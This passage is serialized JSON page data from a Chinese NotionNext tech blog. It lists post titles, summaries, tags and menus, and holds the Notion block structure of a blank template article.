pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":24,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"post":{"id":"973ede9c-1a10-4482-be06-324fd481d34f","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-5","tags":["健康","推荐"],"summary":"仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容,仅供列表展示、文章无内容","title":"空白文章5","status":"Invisible","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-19T02:19:53.512Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1495446815901-a7297e633e8d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=973ede9c-1a10-4482-be06-324fd481d34f","pageCoverThumbnail":"https://images.unsplash.com/photo-1495446815901-a7297e633e8d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=973ede9c-1a10-4482-be06-324fd481d34f&width=800&fmt=webp","tagItems":[{"name":"健康","color":"pink"},{"name":"推荐","color":"red"}],"password":"","blockMap":{"block":{"973ede9c-1a10-4482-be06-324fd481d34f":{"value":{"id":"973ede9c-1a10-4482-be06-324fd481d34f","version":7,"type":"page","content":["97b83613-915a-4ab9-b3bd-d68db83d3dfe","76627ca2-ce5d-4b07-8adb-1d2baaceca38","3ef21e28-96e0-4b50-8043-d771fe23d0fc","95094071-4dd0-4628-86a6-d07b52bb9067","0460e20c-39fa-4594-801c-8f753bea4b61","44ea8fdc-6fe8-450d-af6d-f2d982217321","9662722c-31b7-4302-852b-2fe7427cc937","acb29127-3d87-47df-99c5-f56f06aab68f","c63c1c5f-6238-4bc9-a8e6-b6fe8f6ca5d5","be3b1067-d077-4577-98b1-11c956cdafec","317692a5-d6ee-4280-a4ab-f2dfce327b3d","1f01e029-d2df-4c21-b861-37b1d26b4f34","1c513562-34eb-47dc-8f40-84dcc70cda9f","9f57a9c3-c1c0-4855-be67-6f499b8416fd"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://images.unsplash.com/photo-1495446815901-a7297e633e8d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"34bd81fe-b03a-4186-adfd-d51b94463aa0","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.5},"created_time":1705594337111,"last_edited_time":1705630793512,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"34bd81fe-b03a-4186-adfd-d51b94463aa0","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6","e027b6fc-d75a-43a9-92b1-d5872e5b0780","1fc93bf5-4631-4f85-90f5-362d6a9f69d5","4a3f60f2-b147-4303-b805-e3c775b287a5","c456b9e9-f33f-4c0f-a198-5e90d708c5e4","95d5d8be-c6d5-44e4-a06c-bbb8b5532918"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1733470638099,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"97b83613-915a-4ab9-b3bd-d68db83d3dfe":{"value":{"id":"97b83613-915a-4ab9-b3bd-d68db83d3dfe","type":"callout","properties":{"title":[["这里写文章的前言:\n一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。"]]},"content":["ec4d6982-b479-4cd8-83e3-0decb842bb37"],"format":{"page_icon":"😀","block_color":"gray_background","copied_from_pointer":{"id":"b67e0749-258c-4857-ba08-53489734171d","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337119,"last_edited_time":1705594337119,"parent_id":"973ede9c-1a10-4482-be06-324fd481d34f","parent_table":"block","alive":true,"copied_from":"b67e0749-258c-4857-ba08-53489734171d"}},"76627ca2-ce5d-4b07-8adb-1d2baaceca38":{"value":{"id":"76627ca2-ce5d-4b07-8adb-1d2baaceca38","type":"text","format":{"copied_from_pointer":{"id":"8c180aeb-a4a7-41e2-8409-1023db2273ec","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337118,"last_edited_time":1705594337118,"parent_id":"973ede9c-1a10-4482-be06-324fd481d34f","parent_table":"block","alive":true,"copied_from":"8c180aeb-a4a7-41e2-8409-1023db2273ec"}},"3ef21e28-96e0-4b50-8043-d771fe23d0fc":{"value":{"id":"3ef21e28-96e0-4b50-8043-d771fe23d0fc","type":"header","properties":{"title":[["📝 主旨内容"]]},"format":{"copied_from_pointer":{"id":"ccdbf954-5571-4ea0-8990-279b4345a859","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337119,"last_edited_time":1705594337119,"parent_id":"973ede9c-1a10-4482-be06-324fd481d34f","parent_table":"block","alive":true,"copied_from":"ccdbf954-5571-4ea0-8990-279b4345a859"}},"95094071-4dd0-4628-86a6-d07b52bb9067":{"value":{"id":"95094071-4dd0-4628-86a6-d07b52bb9067","type":"sub_header","properties":{"title":[["观点1"]]},"format":{"copied_from_pointer":{"id":"e85e174c-0944-4404-9186-a1e22e0d29dc","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337119,"last_edited_time":1705594337119,"parent_id":"973ede9c-1a10-4482-be06-324fd481d34f","parent_table":"block","alive":true,"copied_from":"e85e174c-0944-4404-9186-a1e22e0d29dc"}},"0460e20c-39fa-4594-801c-8f753bea4b61":{"value":{"id":"0460e20c-39fa-4594-801c-8f753bea4b61","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"56654ee4-e22b-46b9-aa23-c09899f6dc3c","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337118,"last_edited_time":1705594337118,"parent_id":"973ede9c-1a10-4482-be06-324fd481d34f","parent_table":"block","alive":true,"copied_from":"56654ee4-e22b-46b9-aa23-c09899f6dc3c"}},"44ea8fdc-6fe8-450d-af6d-f2d982217321":{"value":{"id":"44ea8fdc-6fe8-450d-af6d-f2d982217321","type":"sub_header","properties":{"title":[["观点2"]]},"format":{"copied_from_pointer":{"id":"0d0c4b6e-9dd9-4ef3-a8ff-d54048b6b7c1","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337118,"last_edited_time":1705594337118,"parent_id":"973ede9c-1a10-4482-be06-324fd481d34f","parent_table":"block","alive":true,"copied_from":"0d0c4b6e-9dd9-4ef3-a8ff-d54048b6b7c1"}},"9662722c-31b7-4302-852b-2fe7427cc937":{"value":{"id":"9662722c-31b7-4302-852b-2fe7427cc937","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"158af8f8-e821-4650-b339-855c4fde959c","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337118,"last_edited_time":1705594337118,"parent_id":"973ede9c-1a10-4482-be06-324fd481d34f","parent_table":"block","alive":true,"copied_from":"158af8f8-e821-4650-b339-855c4fde959c"}},"acb29127-3d87-47df-99c5-f56f06aab68f":{"value":{"id":"acb29127-3d87-47df-99c5-f56f06aab68f","type":"header","properties":{"title":[["🤗 总结归纳"]]},"format":{"copied_from_pointer":{"id":"7889a079-b667-4d4b-b03e-3a0636e2c604","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337118,"last_edited_time":1705594337118,"parent_id":"973ede9c-1a10-4482-be06-324fd481d34f","parent_table":"block","alive":true,"copied_from":"7889a079-b667-4d4b-b03e-3a0636e2c604"}},"c63c1c5f-6238-4bc9-a8e6-b6fe8f6ca5d5":{"value":{"id":"c63c1c5f-6238-4bc9-a8e6-b6fe8f6ca5d5","type":"text","properties":{"title":[["总结文章的内容"]]},"format":{"copied_from_pointer":{"id":"362ba40a-88a2-4a14-b90e-662d27139ea5","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337118,"last_edited_time":1705594337118,"parent_id":"973ede9c-1a10-4482-be06-324fd481d34f","parent_table":"block","alive":true,"copied_from":"362ba40a-88a2-4a14-b90e-662d27139ea5"}},"be3b1067-d077-4577-98b1-11c956cdafec":{"value":{"id":"be3b1067-d077-4577-98b1-11c956cdafec","type":"header","properties":{"title":[["📎 参考文章"]]},"format":{"copied_from_pointer":{"id":"93197208-c9a4-48b0-aa20-6ace5dc3a8c3","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337118,"last_edited_time":1705594337118,"parent_id":"973ede9c-1a10-4482-be06-324fd481d34f","parent_table":"block","alive":true,"copied_from":"93197208-c9a4-48b0-aa20-6ace5dc3a8c3"}},"317692a5-d6ee-4280-a4ab-f2dfce327b3d":{"value":{"id":"317692a5-d6ee-4280-a4ab-f2dfce327b3d","type":"bulleted_list","properties":{"title":[["一些引用"]]},"format":{"copied_from_pointer":{"id":"a93476d2-ce30-48eb-8062-1cb1bc961f2c","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337118,"last_edited_time":1705594337118,"parent_id":"973ede9c-1a10-4482-be06-324fd481d34f","parent_table":"block","alive":true,"copied_from":"a93476d2-ce30-48eb-8062-1cb1bc961f2c"}},"1f01e029-d2df-4c21-b861-37b1d26b4f34":{"value":{"id":"1f01e029-d2df-4c21-b861-37b1d26b4f34","type":"bulleted_list","properties":{"title":[["引用文章"]]},"format":{"copied_from_pointer":{"id":"6fda715e-6852-44f9-b738-86f0d6bae992","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337118,"last_edited_time":1705594337118,"parent_id":"973ede9c-1a10-4482-be06-324fd481d34f","parent_table":"block","alive":true,"copied_from":"6fda715e-6852-44f9-b738-86f0d6bae992"}},"1c513562-34eb-47dc-8f40-84dcc70cda9f":{"value":{"id":"1c513562-34eb-47dc-8f40-84dcc70cda9f","type":"text","format":{"copied_from_pointer":{"id":"3877c97b-b87b-454d-9088-ddd1d4604129","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337118,"last_edited_time":1705594337118,"parent_id":"973ede9c-1a10-4482-be06-324fd481d34f","parent_table":"block","alive":true,"copied_from":"3877c97b-b87b-454d-9088-ddd1d4604129"}},"9f57a9c3-c1c0-4855-be67-6f499b8416fd":{"value":{"id":"9f57a9c3-c1c0-4855-be67-6f499b8416fd","type":"callout","properties":{"title":[["有关Notion安装或者使用上的问题,欢迎您在底部评论区留言,一起交流~"]]},"format":{"page_icon":"💡","block_color":"gray_background","copied_from_pointer":{"id":"aba0d28b-e446-46b1-b05e-bd1b1d8d7d1d","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337119,"last_edited_time":1705594337119,"parent_id":"973ede9c-1a10-4482-be06-324fd481d34f","parent_table":"block","alive":true,"copied_from":"aba0d28b-e446-46b1-b05e-bd1b1d8d7d1d"}},"ec4d6982-b479-4cd8-83e3-0decb842bb37":{"value":{"id":"ec4d6982-b479-4cd8-83e3-0decb842bb37","type":"text","properties":{"title":[["可以说说你的故事:阻碍、努力、结果成果,意外与转折。"]]},"format":{"copied_from_pointer":{"id":"86d4fc22-f951-4316-8dbf-7dc0c54d1a4f","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337156,"last_edited_time":1705594337156,"parent_id":"97b83613-915a-4ab9-b3bd-d68db83d3dfe","parent_table":"block","alive":true,"copied_from":"86d4fc22-f951-4316-8dbf-7dc0c54d1a4f"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":22,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"},{"id":"c466d345-55bf-4155-a77e-fcd58819a455","color":"brown","value":"准备"},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","color":"green","value":"万里长征"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396